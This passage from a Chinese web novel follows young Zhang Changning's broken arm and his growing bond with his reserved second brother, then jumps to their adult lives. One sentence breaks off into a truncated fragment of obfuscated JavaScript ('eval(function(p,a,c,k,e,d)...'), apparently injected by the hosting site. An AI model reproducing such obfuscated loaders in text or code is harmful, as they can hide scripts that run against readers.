商延枭看破不说破,问,“那……你们两兄弟要坐我们家的车,‘顺路’回去吗?” 旁观的商确言晃了晃自家哥哥的手,接话,“好呀好呀!” “又没问你,消停点。” 商延枭虽然嘴上“教训”着自家弟弟,但还是示意边上保镖开了后排车门,然后牵紧商确言上了车。 章长宁看见这一幕,有些说不上来的羡慕和渴望。 他余光瞥向章长叙的手,没敢主动 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商氏的一家之主是商确言的爷爷,在帝京乃至全国都是很有名的商业大佬,商老爷子膝下的儿女孙子都住在庄园内,各自占领了一幢三层半的复式别墅。 章长宁初来乍到,就被庄园内的规模给震惊了。 景观园、人工湖泊、露天跑马场、还有专门给小孩子们准备的游乐场所,甚至从庄园到别墅都需要接驳车。 别墅后院。 章长叙和商延枭坐在一起,各自研究着平板上的最新习题。 今年寒假,他们将要参加一项国际化的数学团队赛,两人是学校学生团队代表的核心骨,最近有空就要坐在一块研究。 这些东西,才上幼儿园的章长宁自然是不懂的。 他百无聊赖地坐在椅子上,小短腿还够不着地,只能晃晃荡荡的。 他回想起刚刚看见的游乐场所,没忍住,“二哥,我想你陪我玩。” “不行。” 章长叙正愁着一道难题,因为思路一直卡着,神色比平常看着要更冷,“不是你想着要来和确言的吗?你去找他玩一会儿,我今天有点忙。” “……” 章长宁习惯了章长叙的态度,但还是有些失落地憋了憋嘴。 坐在一旁的商延枭看穿了小糯米团的情绪,“长宁,你去找确言玩?他应该快洗完澡了。” 章长宁下午有个击剑课,今天下课晚了半小时,这会儿正在洗澡。 商延枭尽量放缓自己的语气,“要吃什么就和管家伯伯说,等二哥和三哥做完这题就来陪你们玩?” 章长宁看了看没说话的章长叙,乖乖点头,“好。” 他一屁股从椅子上滑溜下来,跑了回去。 眼见着章长宁跑进里屋,商延枭才喝了一口水,“长宁挺乖的,他们这个年纪的小朋友就是高需求、要哄着来,你别总是对他冷冷淡淡的。” 章长叙笔尖一顿,抬头,“我有吗?” 商延枭偏头,无声反问:你没有吗? 章长叙卡壳,实话实说,“你和确言一块儿长大,肯定知道怎么当哥哥哄着弟弟。” 在章长宁回家前,他完全没地方施展所谓的“哥哥”身份。 他不是不喜欢章长宁,只是还没习惯和这小粘人精的相处模式。 商延枭没有为难好友,转移话题,“章伯和沈姨怎么又外出了?” 章长叙点了点头,“有点事。” 至于父母外出的原因,除了年纪还小的章长宁,章家其他人都很明白。 “赶紧把这题解了吧。”章长叙抛去杂思,回归到正事,“解完这题今天就不继续了。” 商延枭将平板上的大量试题往下滑,“不全部解完?” 章长叙想起章长宁哼唧唧想要陪玩的模样,只说,“全部解完天都要黑了,哪里还有时间陪他们两个玩?” 商延枭心知肚明,“嗯,也是。” … 两人合力花了二十多分钟,才将这道超出他们年龄段的竞赛题解决。 章长叙暗松一口气,一秒都不耽搁地关闭平板,“走吧,也不知道他们俩跑哪里去了。” 商延枭听出他藏在语气里的着急,肯定道,“还能在哪里?确言肯定拉着他在玩赛车玩具呢。” 章长叙也肯定道,“我弟对赛车不感兴趣,他不会玩的。” 话音刚落,商家的佣人保姆就急匆匆地跑了过来,“两位少爷!” 佣人跑得上气不接下气,似乎是遇上了很紧急的事。 商延枭虽然年纪不大,但少爷气度很足。 他眼色变了变,直问重点,“怎么了?” 佣人不由自主地看向章长叙,说明情况,“宁小少爷刚从假山上摔下来,手、手好像骨折了!” 6.【第006章】 二十分钟前。 迷你赛车以绝对的优势冲破终点。 商确言举起赛车遥控器,兴奋大喊,“耶!我又赢了!” 章长宁连输了四把,闷闷不乐地将手里的遥控器塞回到好友的手上,“我不想玩了,我要去找我哥哥。” 商确言拉住他不放,“长宁长宁,我们再玩一把嘛。” 章长宁不答应,“我不喜欢赛车。” 这种速度向的游戏,从来就不是他喜欢的。 “那你喜欢什么?”商确言将赛车遥控放好,人小鬼大,“二哥和三哥忙着做题呢,没时间理我们玩。” “……” 章长宁听见这话,打消了要回去找章长叙的念头。 二哥今天看着不太高兴,他要是就这么跑回去,又打扰到对方了怎么办?还是算了吧。 章长宁说,“那我也不要玩赛车了。” “不玩就不玩,你别走。” 商确言难得遇上一个玩得来的好友,他灵光一闪,“长宁!我带你去我的秘密基地吧!” “秘密基地?” 这个年纪的孩子,对这样的神秘词汇向来没有招架力,章长宁也不例外。 他的大眼睛里充满了好奇,“在哪里?” 商确言比了一个“安静”的手势,对着门口的佣人说道,“赵阿姨,我想要喝鲜榨的石榴汁,还有奶油松饼!” 佣人没有怀疑,“好的小少爷,我这就去厨房给你们准备。” 等到佣人走后,商确言才一把拉住了章长宁的小手,“走!我的秘密基地不在家里。” 章长宁还没反应过来,就被好友拉着往楼下跑。 两人避开家里其他人的注意,不知不觉地就跑到了三房别墅几十米远的景观区,里面屹立着一座巨大的假山。 章长宁气喘吁吁的,白净的脸蛋都透出一层绯色,“确言,我、我们这样跑出来不好,不、不能撒谎。” “这里也是我家呢,有什么不好的?” 商确言小小年纪,身手却很矫健,轻车熟路地就攀着假山的凸起石块往上爬,“等我们看完秘密基地,就回去吃东西。” 章长宁吓了一跳,“你快下来,很危险的~” 要是被两位哥哥知道,肯定要被批评了! “我都上来很多次了!不会有事的!”商确言指了指半山腰的一个洞口,“喏,那里面就是我的秘密基地。” “……” 章长宁站在原地,纠结地都快将漂亮的五官拧成一团了。 商确言停下来等他,“长宁!快上来啊!我秘密基地里藏了很多宝贝呢!” 章长宁抿了抿唇,欲言又止。 商确言见自己的好朋友没有动弹,没勉强他,“你要是害怕就等着我,我上去给你拿宝贝,你等等我!” “确言。” 章长宁往前走了两步,强烈的好奇心还是占据了大脑,“你等等我!” 说着,他也尝试着往上爬。 假山的岩壁是往内侧倾斜的,确实有很多小凸起的石头可以踩来支撑,章长宁渐渐放开手脚往上爬。 就在他即将抵达秘密基地所谓的洞口时,意外突然发生了—— 不知怎么的,脚底的石块突然打滑,章长宁整个人不受控制地往下栽去,他的右手杵在石子路上,发出清脆的一声嘎嘣。 刹那间,从未有过的疼痛攻略着他的大脑,导致空白一片。 … 章长叙和商延枭赶到景观园时,现场已经乱成一片了—— 抢先赶来的迟莉将章长宁抱在怀中,尽量避开他受了伤的右手,章长宁的脸色异常的苍白,哭声似乎都堵在了喉咙里,憋得整个人都恍惚了。 家庭医生和佣人正忙着给他固定受伤的右手。 面对着自己向来疼爱的小儿子,商启露出了鲜少有过的严厉面容,而做错事的商确言只敢默默低头掉眼泪。 商延枭抢先开口,“爸,妈,这到底怎么回事?长宁严重吗?” 一想到挚友的孩子在自家受了伤,商启觉得又愧疚又羞恼,“你问问你弟,成天瞎跑瞎窜什么!自己调皮还不消停!还……” 商确言哭着跑到商延枭的身后,“我错了,对不起,哥哥帮帮我。” 迟莉顾不上自家的两个儿子,只是拍着章长宁的后背,“车子开来了没!要赶紧去医院处理!” 章长叙已经从最初的心悸中回过神,连忙跑了上去,“长宁?迟姨,我弟弟他……” “长宁的手摔骨折了,他可能是吓到了,半天都没哭出来。”迟莉正揪着心,“长叙,我们已经打电话给你爸妈说明情况了,先送医院。” 章长叙轻轻抚拍着章长宁的脸蛋,呼吸都跟着发紧,“长宁?长宁?” 章长宁被疼到麻木的眼色渐渐聚焦,在看清来人后,突然爆发出了极其响亮的哭腔,“哇——” “二哥,我痛……呜呜呜呜……” 堵在胸口的那股气像是突然找到了发泄口,原本苍白到发青的脸色在短时间内就涨了红。 章长宁听得难过,紧蹙的眉间满是心疼,“二哥在呢,我们马上去医院,乖。” … 事发突然,好在商家夫妇应对救治得方式很及时,先找家庭医生简单固定了伤势,紧接着马上就去了临近的医院。 章长宁在医院拍了片子,除了右手骨折,其他方面暂时没有受伤,已经算是不幸中的万幸。 只是章长宁的年纪毕竟还小,经不得这样的吓。 他当晚就发起了高烧,在右手痛感的加持下,只能迷迷糊糊地哭闹着,让人看着都心疼。 再次醒来时,已经是次日下午了。 原本在外省的章渡和沈眠都已经赶了回来,此刻就围坐在病床前照看着。后者率先发现了小儿子的动静,连忙凑近低喊,“小宁,醒了吗?” “……妈妈。” 章长宁的嗓音都烧“干”了,喊得很艰难。 他本能地转动着身子,下一秒就疼得一激灵。 “乖乖,别乱动。” 沈眠连忙招呼丈夫倒水,自己则是小心翼翼地将章长宁抱坐了起来。 章渡倒好了温水,拿着吸管递到了章长宁的嘴边,“来,喝点水。” 章长宁刚刚退烧,刚醒时的思绪还有点迷糊,他乖乖喝了小半杯的温水,略微发红的大眼睛才朝着四周看。 “小宁,你找什么呢?” “二哥呢?” 章长宁疼得眼泪直在眼眶里打转,“二哥怎么不见了?” 他隐隐约约记得,自己见到的最后一个人是二哥。 “小宁,你还记不记得,你前天下午在商叔叔家摔倒了?医生说你右手有点严重,这段时间不能再胡闹乱动了。” “你二哥昨天在医院一直陪着你呢,今天去上学了,你要是想见哥哥们,等周末爸爸妈妈再带他们来看你,好吗?” 哪怕用了药,但章长宁的右手还是持续疼痛着,他依偎在沈眠的怀里,委委屈屈地喊,“妈妈。” “嗯?” “对不起。”章长宁觉得自己似乎是闯祸了,“我以后不乱跑了,你和爸爸别生气。” 沈眠听得心头一阵柔软不舍,“乖,爸爸妈妈没生气,是我们不对,没有看好你。” 要怪就只能怪他们两个做父母的,顾得了这头、顾不上那头,还是没能将孩子看好、受了伤! 眼下事情已经发生了,照顾好章长宁是最要紧的,以后再不允许这样的事情发生了—— 手心手背都是肉,他们夫妻两人也算是吃够了教训。 以后哪怕有了亲生儿子的线索,他们都必须要分头行动,总得留下一个人照顾好家中的孩子们才行。 章渡明白妻子内心的想法,他轻抚了一下妻子的肩膀,“你在这里看着孩子,我去买些吃的。” 沈眠点头,“好。” 章渡刚走不到三分钟,病床门就重新打开了。 章长风和章长叙穿着各自的校服,带着书包就走了进来。 沈眠一惊,“你们俩怎么来了?” “欸,小弟醒了?!” 章长风惊喜靠近,边走边解释,“我和长叙担心长宁,所以才打算放学后一块来看看,小弟还烧着吗?” 章长风原本是住校的,这还是提前和章渡打过招呼、让家长打电话和老师交涉过了。 沈眠知道他们兄弟间感情好,听完解释后没有多说,“护士一小时前才量过,还有点低烧。” 章长风走到床边坐下,捏了捏章长宁微热的小脸蛋,“小弟,还疼不疼了?” “大哥~” 章长宁正疼着呢,撒娇地喊了声,但小眼神还是瞥向了后面的章长叙,却是叫也不敢叫。 在他心里,总觉得是自己调皮才导致受伤的,生怕章长叙会为此生气、以后更不爱带着他玩了。 “……” 章长叙捕捉住章长宁小心翼翼的视线,旋即扫视着他打上石膏的右手,眉头蹙得厉害。 章长宁下意识地想要藏住受伤的手,霎时又被疼得眼泪直掉。 沈眠心疼不已,“哎哟,小宁乖,别乱动。” 章长叙疾步走近,又一次承认错误,“妈,是我没有照顾好小弟。” 前天在出事前,章长宁就撒娇想要他陪着玩,是他一心钻在了题库里,完全没顾得上小弟的陪伴需求。 如果他那天愿意抽出一点时间来陪伴章长宁,或许就不会发生这样的意外。 章长叙少有这样强烈的自责情绪,“都怪我。” 沈眠还没开口,章长宁先急了,“不怪二哥~是我自己不乖。” 他眼巴巴地瞧着病床前的章长叙,敏锐察觉出对方的情绪,嗓音软软的,“二哥,我不疼,你别难过。” “……” 这话不说还好,一说越发让章长叙打从心底愧疚。 他偏头垂眸,极力藏住自己的情绪。 知子莫若母。 沈眠深知章长叙打从心底是关心章长宁这位弟弟的,只是性格内敛、不爱往外表达,这次发生了这个意外,他这个当哥哥的,不知道得多愧疚不安。 沈眠一手抱着章长宁,一手将章长叙拉近,“好了,现在都没事了,以后小宁不准再调皮,你们两个当哥哥的,也要更照顾他,知道了吗?” 章长风率先点头。 章长叙深呼一口气,认真点头,“知道了。” 章长宁伸出左手,努力去勾了勾章长叙的指尖,“二哥。” 章长叙这次没拒绝,反倒心有余悸地抓紧了他的指尖,认真表示,“二哥错了,以后不会不管你了。” 听见这句意料之外的保证,章长宁顿时亮了双眸,好像连痛感都减轻了,甚至连说话都多了份力气,“嗯~二哥没有错,二哥最好了!” 话音刚落,章渡就从外面走了回来。 他看见病房里的妻子儿子,释出近日来的第一声轻笑,“都在了呀?正好,我买了不少东西,长风长叙,你们俩一块吃了,迟点我送你们回家。” 章长风起身走近,“爸,我来帮你。” “好。” 一家人在病床边上支起了简易的晚餐桌。 章长宁要吃的是医院的营养师专门匹配的健康餐,只是他伤了右手、又不习惯用左手吃饭,沈眠原本是打算喂他的。 可小家伙不知道是怎么想的,扭扭捏捏地表示,“我要二哥~” 原先如果提出这种要求,章长叙一定会想办法委婉拒绝,并且叮嘱他要自己学着好好吃饭,可现在这种情况—— 章长叙干脆接过属于他的那份小饭盒,坐在床边喂饭。 “啊——” 章长宁迫不及待地张大嘴巴,等着章长叙的投喂。 章长叙嘴角弯了弯,示意,“先喝口汤,暖暖。” “喔!” 章长风看着自家二弟和小弟的互动,忍不住发酸,“小弟,大哥上次给你喂饭,你怎么没那么积极呢?” 章长宁腮帮子鼓鼓的,正幸福地眯眯眼吃饭,假装没听见自家大哥的控诉。 沈眠轻笑,给大儿子夹了两口菜,以示安慰。 吃了一会儿,章长叙用勺子舀了一口清炒什锦,主要食材就是胡萝卜丁和玉米粒。 哪知原本配合的章长宁突然闭上嘴巴,嫌弃地说,“我、不要胡萝卜。” 章渡听见这话,耐着性子劝,“小宁,这是营养师给你搭配的,你得尝尝。” 章长宁还是摇头,撒娇,“上次吃过了,不好吃,我不要嘛。” 章长叙话到嘴边又咽了下去,改口问,“那玉米粒呢?要不要?” 章长宁点头,“要的。” 玉米粒甜滋滋的,好吃! 话音刚落,章长叙耐着性子将一粒粒的胡萝卜丁挑了出来,然后才舀了一勺干净的纯玉米粒,“张嘴,乖乖吃饭。” 章长宁这才乐意继续吃饭。 沈眠温声哄,“小宁,不能挑食,让你二哥再喂你一勺胡萝卜试试?它是好吃的。” “……” 章长宁眉头纠结蹙起,就是不愿意尝试。 章长叙将他的小表情收入眼底,默默又挑了一勺玉米粒喂着,“妈妈,算了,他不爱吃就别勉强了,营养在其他方面也能跟得上~” “嗯嗯!” 章长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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章长叙推门而入,他已经洗漱好了,身上也换上了睡衣,但他的手里拿着一瓶刚泡好的牛奶,显然是给章长宁准备的。 “宋阿姨泡的,我正好拿上来。” “二哥!” 章长宁迫不及待地伸手去够牛奶瓶。 章长叙怕他单手不方便,特意打开瓶盖,将吸管递到了他的嘴边,“有点烫,慢慢喝。” 章长宁开心接过,“谢谢哥哥!” 嗓音一如既往地的甜,听得沈眠跟着笑,“小宝,你还没回答妈妈呢,今晚就在这里睡觉了,好不好?” 原以为章长宁一定会点头,哪知道小家伙眼神转了转,似乎有了自己的想法。 章长宁喝了一口牛奶,大胆提出愿望,“妈妈,我想和二哥一块睡觉。” 二哥的被子香香的、软软的,可舒服了。 章长叙一愣。 沈眠也跟着惊讶了两秒,“想和哥哥睡?” 章长宁点头,一骨碌地从沈眠的膝盖上滑了下来。 章长叙生怕他又牵扯到右手,连忙伸手去接,“小心点,别闹腾。” 章长宁单手攥着牛奶瓶,使劲用脑袋往他的睡衣上蹭了蹭,仰头请求,“二哥,我们一起睡觉吧!我很乖的~” “……” 就你那翻来覆去的懒猫睡姿,能算得上乖? 章长叙不信他的讨巧话,看向了床边的沈眠。 沈眠忙劝,“小宁乖,你现在手受伤了,还不方便,睡觉得有大人看着点。” 章长宁天真地问,“二哥不是大人吗?妈妈,我就想和二哥睡。” “……” 沈眠没来得及犹豫,边上的章长叙就先心软答应下来,“好吧,那就和我睡吧,妈,我能看好他。” 沈眠还是不放心,但章长宁立刻心花怒放,连牛奶都顾不上喝了,“我现在就要睡觉!二哥我们走!” 这急匆匆的样子,仿佛生怕章长叙下一秒会后悔。 … 十分钟后。 喝完牛奶的章长宁美滋滋地钻进了章长叙的被子里,他右手受着伤,只能小幅度地侧躺着,时不时地用脸颊蹭着被子。 章长叙还是躺在外侧,以防章长宁掉下来。 沈眠站在床边,不放心地盯着这两兄弟,“小宁,真不和妈妈一块睡吗?” 章长宁打定主意,不由自主地往章长叙的身边贴了贴,“嗯,我要和哥哥睡。” 章长叙往下躺了躺,“妈妈,你放心吧,我会看好长宁的。” “……” 沈眠见这两兄弟的感情突飞猛进,终究应了下来,“好吧,那你们好好休息,房间门就别锁了,晚安。” 大不了迟点等小宝睡着,再让丈夫抱回卧室。 … 房间顶灯被关闭,只留下一盏宜睡的床头灯。 章长宁有些莫名其妙的兴奋,忍不住扭了扭身子,“哥哥。” “别乱动。” 章长叙侧过身,语气却不严厉,“你靠过来点。” 章长宁连忙往他怀里拱了拱。 小小的身躯缩在怀里,暖呼呼的,还带着一丝沐浴后的干净的牛奶味,让人忍不住心底发软。 章长叙避开章长宁受伤的右手,缓慢圈住他的身姿固定,“好了,睡觉,今晚要是乱动,就不让你睡我的房间了。” 章长宁哼唧,“二哥。” “闭眼。” “……” 章长宁乖乖照做,还是忍不住问,“哥哥,我明天还能和你一块睡吗?” 章长叙回答,“看你今晚表现。” 章长宁闭着眼睛还不忘自我推销,“我可乖了~” 章长叙暗笑,学着沈眠哄睡的动作轻拍着怀中小崽的后背,“睡觉,不许说话了,我明天还要上学。” “喔,二哥晚安。” “晚安。” 章长宁的困意来得很快,没一会儿就昏昏欲睡了。 “二哥,二哥……” 意识朦胧间,章长宁含糊嘟囔,不知道是联想到了什么天马行空的画面。 章长叙还没睡,明知道他在呓语还是应了声,“嗯?怎么了?” 哄睡的动作还没停下,还在温柔抚拍着章长宁的后背。 章长宁梦见自己又回到了医院,只是这回给自己看病的医生变成了章长叙,他震惊地瞪大了眼睛,心里的崇拜一浪高过一浪。 这样的梦境幻想投射进现实。 章长宁似睡非睡地又往章长叙的怀里贴了贴,“二哥长大了也……当医生……好厉害的医生……” “什么?” “我、我想二哥当医生……” “……” 章长叙听着他软乎乎的梦话,终究还是配合着哄,“好,二哥知道了,听你的,当医生。” 7.【第007章】 滋滋滋。 床头的闹钟响起了震动。 睡梦中的章长叙恍惚醒来,思绪还被困意裹挟着。 下一秒,他就察觉到了身边人的哼唧挪动,刹那间,本能的反应快过于理性的思考—— 章长叙先是伸手捂了捂章长宁的耳朵,等到闹钟停止的短暂间隙,迅速将手机拿起、关闭七点的定时闹钟。 房间里很暗,只有窗户缝隙里透出零星半点的天光。 章长叙轻声将手机放回在床头柜上,刚放松身子,结果章长宁就搭上了他的手臂,迷迷糊糊地往他身边蹭了蹭。 “……哥。” “宁宁?”章长叙愣了愣,无奈笑问,“吵醒你了?” 刚起床的嗓音少了点冷感,多了点独有的温柔。 章长宁小幅度地睁开眼睛,眸中还透着残留的困意,他含糊地笑了声,“从小到大,果然还是在二哥你这里睡得最舒服~” 自从小时候右手骨折受伤后,章长宁曾经有很长一段时间都和章长叙一块睡觉。 后来章长宁到了初中,章长叙上了大学,而且章家也换了更大的房子,两人才睡回了各自的房间。 昨晚,章长宁卧室的空调制冷突然出了问题,大夏天热得人根本睡不着觉,所以他才大半夜跑到了章长叙的房间里、就这么赖着一块睡了。 章长叙见他还往被子里躲,只能隔着被子拍了拍他,叮嘱,“待会儿让管家喊维修工去你卧室瞧瞧,空调是什么情况。” “嗯哼~” 章长宁重新合上眼,一点儿都不着急,“修慢点就慢点,反正我睡你房间也一样。” 章长叙捏了捏他的耳尖,“我每天都要早起,闹钟会吵到你。” “不会~等你起床了,我还能再睡过去。” 章长宁下意识地深吸了一口气,总觉得章长叙的被子里带着很能令他安定的味道。 “哥~” “嗯?” 章长宁又喊了一声,“二哥~” 章长叙耐心应答,“嗯?怎么了?” 章长宁得到他的回应,哪怕只是没营养的对话,内心还是充斥着说不上来的愉悦,他干脆一个翻身,手脚并用地圈住了章长叙。 他打了个哈欠,顶着一头乱糟糟的卷毛,“我昨晚睡得很好~” 章长叙被他圈得很紧,只好揪了揪他后颈的软肉,“你几岁了?一大早的别撒疯,别抱着我,热。” “我不~” 章长宁恃宠而骄,还故意往他身上压了压。 “……” 章长叙的呼吸一顿,身体顷刻“僵”住了。 大早上的,又是正常的成年男人,有些冲动是能被轻易激发出来的。 但赖在身上的“罪魁祸首”显然没有察觉自己的无心举动,甚至还懒洋洋地打起了哈欠。 章长叙嗓音低了些,“章长宁,松开,我要起床洗漱了,要上班。” 他大学时期学了医,今天是到医院规培的第一天,绝对不能有迟到一说。 章长宁一听见自己的全名出现在章长叙的口中,顿时不敢再“放肆”了,他记着章长叙今天要到中心医院报道,连忙带着被子一个转身—— “哦!” 完美利落撤退,只留给章长叙一个圆滚滚的后脑勺。 从小到大就这样,抱着被子把自己滚成粽子、还能美滋滋再睡上一觉。 章长叙对章长宁的赖床表现早习以为常,他感受到自己身体某处的那点冲动,克制着下了床,三步做两步地走进了浴室。 … 章长宁今天没能睡成回笼觉,但还是在床上多赖了四十多分钟。 等到他洗漱完下楼时,家里人已经围坐在一块吃上了早饭。 章老夫人一看见自己的小孙子,连忙招手,“来,长宁,坐奶奶身边吃饭。” 沈眠也忙着示意佣人,“把小宁的燕麦牛奶和三明治拿上来。” 章长宁快步走到餐桌边,环视一圈家里人,这才坐在章老夫人的身边,“奶奶早上好,我陪你,你得多吃点!” “好。” 佣人将章长宁的那一份早餐送了上来。 章老夫人笑盈盈地盯着他吃饭,心里却有些舍不得,“长宁,你之前说几号出国?” 章长宁喝了一口牛奶,“八月五号,还有小半个月呢。” 章老夫人听见这日期,叹了口气,“哎,好端端的,非得跑到国外上学干嘛呢?人生地不熟的,万一出了事怎么办?你的读书成绩留在帝京上大学,不是绰绰有余吗?” “奶奶,你怎么又开始舍不得了~” 章长宁停下吃早餐的动作,笑着和她解释,“我就是想读艺术设计,国外那所大学在这一方面很不错,我好不容易才拿到录取通知书的呢。” 而且每年都能拿到不少的奖学金,这样子,他可以不用花家里的钱。 章渡完全尊重章长宁的选择,“妈,孩子大了有自己的想法,你别担心了。” 沈眠和丈夫对视了一眼,也说,“是啊,确言和他一块去,他们俩孩子从小玩到大,在国外能相互有个照应、做个伴。” 其实他们藏着没说的是,他们早就请好了海外的保镖负责定期照看,也是为了规避孩子真在海外遇到什么危险情况。 章老夫人说,“我就是舍不得,这长宁一出国,家里人就越来越少了。” 前些年,章老爷子去世,章长风和章长叙又各自读大学住校,这好不容易盼到他们毕业回家,想着热闹热闹,结果呢—— 眼下小孙子又要上大学去了,没个一年半载都见不了一面。 章老夫人当然不会想着阻止孙子的学业,她目光一转,思绪又落在了章长叙的身上,“长叙从今天起就算正式在医院上班了?” “差不多吧,不过得在医院规培、还得读硕。” 等到真正成为主刀医生,估计还得花上个三五年。 章老夫人操心,“你忙成这样,那哪里还有时间谈女朋友?长叙,你实话告诉奶奶,你之前在大学里有对象了吗?” “……” 章长宁眼中的笑意一凝,不自觉地看向了斜对桌。 他端着杯子的手微微发紧,似乎有些迷茫,“二哥,谈恋爱了?” 章长叙对上他的视线,干脆否认,“哪有的事?” 章老夫人闻言,显得有些失望。 章渡忍不住笑,“妈,长叙又不是长风,你别急。” 章长风读大学的时候就认识了同样优秀的另一半,双方在毕业后就选择了订婚,这会儿小夫妇都已经开启了自己的同居生活、搬出去住了,只有偶尔才会回家住上这么几天。 “我不急,我就是觉得结婚是早晚的事,长叙这个年纪正合适……” 章老夫人说着,就将目光投向了沈眠,“你这个当妈的,得帮忙张罗张罗,如果有合 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沈眠注意到了他的出神,喊,“小宁?想什么呢?今天是不是没什么食欲?大半天了也没吃几口早餐?” “……” 章长宁回过神,连忙放下手里的三明治,“爸,妈,奶奶,我待会儿再吃!我先上楼一趟!” 说着,他就起身跑了上去。 章长宁刚到二楼,就见着章长叙拿着背包准备出门。 两人视线一对,章长宁连忙喊,“二哥!你等等!我有东西要给你!” 章长叙停住步伐,“什么?” 章长宁来不及多说,连忙跑进自己的房间,不到半分钟,他就拿着东西跑回到了章长叙的跟前。 “喏!给你的!” “就当是为了庆祝‘章医生’正式上班第一天。” 章长叙眉梢微挑,看着冷冰冰的眸底钻出一丝浅淡笑意,“送我什么了?” 他打开布袋子,里面装着一个黑灰色磨砂的保温水瓶,以及一支同样黑灰色磨砂外观的钢笔。 “二哥,我知道你什么都不缺了,但想着你正式上班第一天总得送点什么。” 章长宁点了点保温水瓶,“别忙起来就什么都顾不上了,至少要多喝水。” “还有这支笔——”他又点了点钢笔,“以后如果要签名,章医生得用这一支。” 章长叙听见他的嘱咐,忍不住笑。 章长宁脸颊微红,嘟囔,“你不准笑我的礼物幼稚!这俩牌子虽然小众,但价格不便宜呢。” 是他凭自己的能力在网上替人接图设计、赚了钱特意买的。 “没笑话你的礼物。” 章长叙腾出一只手,揉了揉章长宁的脑袋,重复着他的话,“不会忙起来什么都顾不上,会用你的保温杯多喝水,以后如果要签名,我也会用你送的这一支笔。” 章长宁勾唇,傲娇地扬了扬下颚,“嗯,这还差不多。” “真的没时间了,我要先走了。” “好。” 章长宁应了声,又忍不住喊,“二哥!” 章长叙还是耐心回应,“嗯?” 章长宁认真祝福,“工作顺利。” 章长叙眸光微晃,由心接了一句,“等我回家。” 8.【第008章】 砰! KTV包厢里,酒杯相互碰撞在一块。 “芜湖~” 章长宁的同学邓洋发出欢呼,催促道,“今晚都喝上啊!就当时给我们长宁出国留学送行!” 说着,他又揽住章长宁的肩膀,“今晚你可不准赖酒!多喝几杯!我和你说,这家很多鸡尾酒都做得不错。” 有女孩子发声,“邓洋,你别为难长宁了,他家教严,不让喝酒。” 邓洋又说,“这不早就十八岁成年了?偶尔喝个一两次也没事。” “今晚没事。” 他早就想要尝试不同口味的酒了,可惜家里父母兄长管得太严,他几乎滴酒不沾。 今晚好不容易找到一个合适的理由,说什么都要尽情试一试。 正想着,章长宁端起属于自己的那杯酒,仰头一饮而尽! 酸酸甜甜的果酒味道,还算好入口。 邓洋被他的“豪放”吓了一跳,连忙说,“哎哟,小少爷,你喝慢点!这酒还是有点度数的!哪有人和你似的,第一次喝酒就干完一整杯的?” “让我放开喝酒的也是你,这会儿说我的也是你。” 章长宁故作不满,用空杯子又碰了碰他的酒杯,“你陪一杯?” 他看向边上的女孩子们,又暖心道,“你们几个悠着点,不爱喝就别勉强!” “嗯,还是长宁贴心~” 众人一边喝酒吃东西,一边拿着话筒肆意唱歌,到了中场休息的时候,也不知道是谁先提了一句—— “长宁,你二哥是不是已经上班了?” “啊?” 章长宁闻言,目光不由看向了一旁的女孩子们,慢半拍地接话,“嗯,已经在医院工作了,怎么了?” 有女生好奇追问,“你二哥谈恋爱了吗?是不是很受女孩子欢迎?” “……” 章长宁忽地联想到了之前全家吃早餐时的“相亲”话题,原本还算愉悦的情绪有了片刻的凝滞。 他闷了一小口果酒,“没吧,我没听我哥提起过。” 又有女生接话,带着真心实意的夸奖和期待,“你二哥长得好看,又是医生,将来站在他身边的另一半估计也是又漂亮又优秀的。” 邓洋开腔,“那肯定的!话说,你们见过长宁的大嫂没有?人又漂亮又有气质,听说还是开影视经纪公司的!对吧?长宁?” “长宁大哥我也见过,可好说话了,不过他二哥看着冷冰冰的。” “哪又怎么了?以后指不定会对另一半多温柔呢。” “……” 章长宁不自觉地攥紧了酒杯,有点弄不明白此刻心里的滋味。 章长风当初带着女朋友回家拜访长辈的时候,作为小弟的他只有满心的期待和欢喜。 可如今,同样的话题涉及到了章长叙的身上,章长宁内心深处却有种说不出的堵得慌。 如果二哥有了另外一半,是不是就像和大哥大嫂一样搬出去住了? “……” “长宁?长宁?喂?在想什么了呢?” “啊?” 章长宁回过神,勉强勾起一抹笑,“没呢。” 边上有其他男生借着酒劲,开起玩笑,“你们少惦记长宁二哥了,谁还不知道长宁妥妥一个兄控啊?对他哥占有欲强着呢。” 这话一开口,又引得周围一圈看热闹的应和。 说者无心,听者有意。 章长宁一口一口地喝着手里的鸡尾酒,脑子里更乱了。 占有欲? 这词适合用在他的身上吗? 邓洋拿起果盘里的小番茄就丢了过去,“喝醉了就胡说八道什么呢?那是他亲哥!” “你才想什么呢?谁不知道他们俩是亲兄弟啊,我开玩笑呢,我指的是亲情!亲情你懂吧!” 喋喋不休的玩闹闯入章长宁的耳朵,而他却没了笑的滋味。 亲兄弟? 在外人看来,他和章长风、章长叙确实是亲兄弟。 刻意尘封的记忆又一次席卷大脑,章长宁眼底涌起些许酸涩,但他很快就忍住了,扬声掀过这个话题。 “好了,你们再不点歌,就我来唱了。” “唱唱唱!长宁,我和你一块唱!” 毕竟一行人才高中毕业,没敢在KTV闹得太晚。 夏夜的晚风吹来,落在脸上竟然意外地有些凉意。 邓洋拦了一辆出租车,“长宁,胖子喝多了!我和他一块打车回去!你还OK吗?没醉吧?要不要一起吗?” 章长宁的脑袋是有点犯晕,但还算能保持理智。 他伸出双手摆了摆,尾音里站着一丝浅浅的醉意,“不了,不顺路!我让我家司机来接,你们回去小心。” “好,有事电话联系!” “嗯。” 章长宁拿出手机,刚准备给司机发去消息,结果就看见了家庭群里的聊天记录,是七点不到那一会儿的事。 沈眠问章长叙今天怎么还不回家? 章长叙回答说今晚医院临时有台手术,他被执刀医师要求留下来,要求从旁学习协助,估计到家得十点多了。 “……” 十点? 章长宁看一眼才九点出头的时间,临时多了点冲动。 他拦住街边的出租车,快速钻了进去。 “去哪儿?” “师傅,麻烦去帝京市第一中心医院,谢谢。” … 砰。 储物间的柜门打开。 站了三个小时的章长叙正累着呢,目光锁定柜中的保温杯后,他冷静的眸光里才晃出一丝笑意。 因为担心旁人误拿这个保温杯,平时不用时,他都是锁在专属储物柜里的。 章长叙第一时间拿起了保温杯,喝了两口水。 脚步声响起。 有人喊他,“小章,还没走呢?” “副院晚上好。” 章长叙看清来人,目光中多了一丝敬重,“刚观摩完了何主任的执刀手术,正准备收拾完了回去。” 副院长点了点头,“我听说何主任很看重你啊,你可得好好表现。” “是。” 